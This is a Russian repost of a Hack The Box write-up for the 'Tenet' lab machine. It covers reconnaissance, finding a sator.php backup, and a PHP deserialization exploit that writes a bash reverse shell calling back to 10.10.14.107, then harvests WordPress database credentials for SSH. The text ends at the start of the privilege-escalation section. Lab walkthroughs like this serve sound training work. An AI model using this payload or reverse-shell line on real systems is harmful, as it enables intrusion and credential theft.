Категория > Новости > HTB Tenet. Используем десериализацию в PHP и Race Condition для захвата веб-сервера - «Новости»
HTB Tenet. Используем десериализацию в PHP и Race Condition для захвата веб-сервера - «Новости»16-06-2021, 00:01. Автор: Ефросиния |
Hack The Box.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаПо традиции начнем с того, что добавим IP машины (
10.10.10.223 tenet.htb
И сканируем порты: ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 ![]() Скрипт находит два открытых порта: 22 (служба SSH) и 80 (веб‑сервер Apache). SSH закрыт, и без учетки там делать нечего, поэтому будем «пробивать» веб. Помимо точек входа, нас интересуют любые подробности, поэтому внимательно изучаем сайт. На одной из страниц находим интересный комментарий — его оставил пользователь ![]() Это очень важная для нас информация. Не исключено, что там мы и найдем точку входа, если администратор не выполнил просьбу Нила и не спрятал файлы. Первым делом я решил поискать бэкапы
bfac --urlhttp://tenet.htb/sator.php
![]() Но к сожалению, нам не удалось найти никаких бэкапов. Точка входаНе оставляя идею с
curl -H 'Host: sator.tenet.htb'http://tenet.htb
Запрос к виртуальному хосту sator.tenet.phpВеб‑сервер вернул нам дефолтную страницу Apache 2. Хвалим себя за удачную находку и добавляем запись в файл
10.10.10.223 sator.tenet.htb
Следующий шаг в таких случаях — просканировать директории на найденном домене. Но, помня о комментарии, я сначала поищу бэкапы файла
bfac --urlhttp://sator.tenet.htb/sator.php
Поиск бэкапов файла sator.php с помощью bfac ЗакреплениеДавай разберемся с кодом. Этот файл ждет, что будет указан параметр ![]() Получается, что мы можем сериализовать объект такого класса и отправить сериализованные данные на сервер. А это открывает возможность записать какие угодно данные в любой файл. Писать мы, конечно, будем бэкшелл. Но сначала проверим, есть ли на сервере файл, бэкап которого мы разобрали. ![]() Результаты работы
apt install rlwrap
rlwrap nc -lvp [port]
Теперь разберемся с эксплуатацией. Копируем определение класса class DatabaseExport{public $user_file = 'r.php';public $data = '<?php exec("/bin/bash -c 'bash -i /dev/tcp/10.10.14.107/4321 0&1'"); ?>';public function __destruct(){file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);}}$url = 'http://sator.tenet.htb/sator.php?arepo=' . urlencode(serialize(new DatabaseExport));$response = file_get_contents("$url");$response = file_get_contents("http://10.10.10.223/r.php");?> Выполняем этот код прямо в консоли и получаем шелл в окне листенера.
php exploit.php
![]() ПродвижениеТак как на хосте развернут веб‑сервер, где крутится целая CMS, то первое наше действие после захвата шелла — попробовать получить какие‑нибудь учетные данные пользователей. Высока вероятность, что эти учетки подойдут и для локальных пользователей. Для удобства получим интерактивный шелл с помощью Python 3, а потом поищем директорию WordPress.
python3 -c "import pty; pty.spawn('/bin/bash')"
![]() В WordPress есть место, где учетные данные есть всегда, — файл с настройками для подключения к базе данных ![]() Эти учетные данные позволяют подключиться к базе данных и получить другие критические данные пользователей, но в этом случае мы можем сразу авторизоваться с ними на сервере по SSH. ![]() Локальное повышение привилегийЗайдя под пользователем, мы теперь хотим получить рут, но вряд ли создатели машины просто оставили нам нужный ключ лежащим где‑то на видном месте. Для упрощения поисков я обычно гоняю скрипты LinPEAS, но можно сразу проверить наиболее вероятные места: настройки sudoers, приложения с выставленным битом SUID, прослушиваемые на локалхосте порты. Перейти обратно к новости |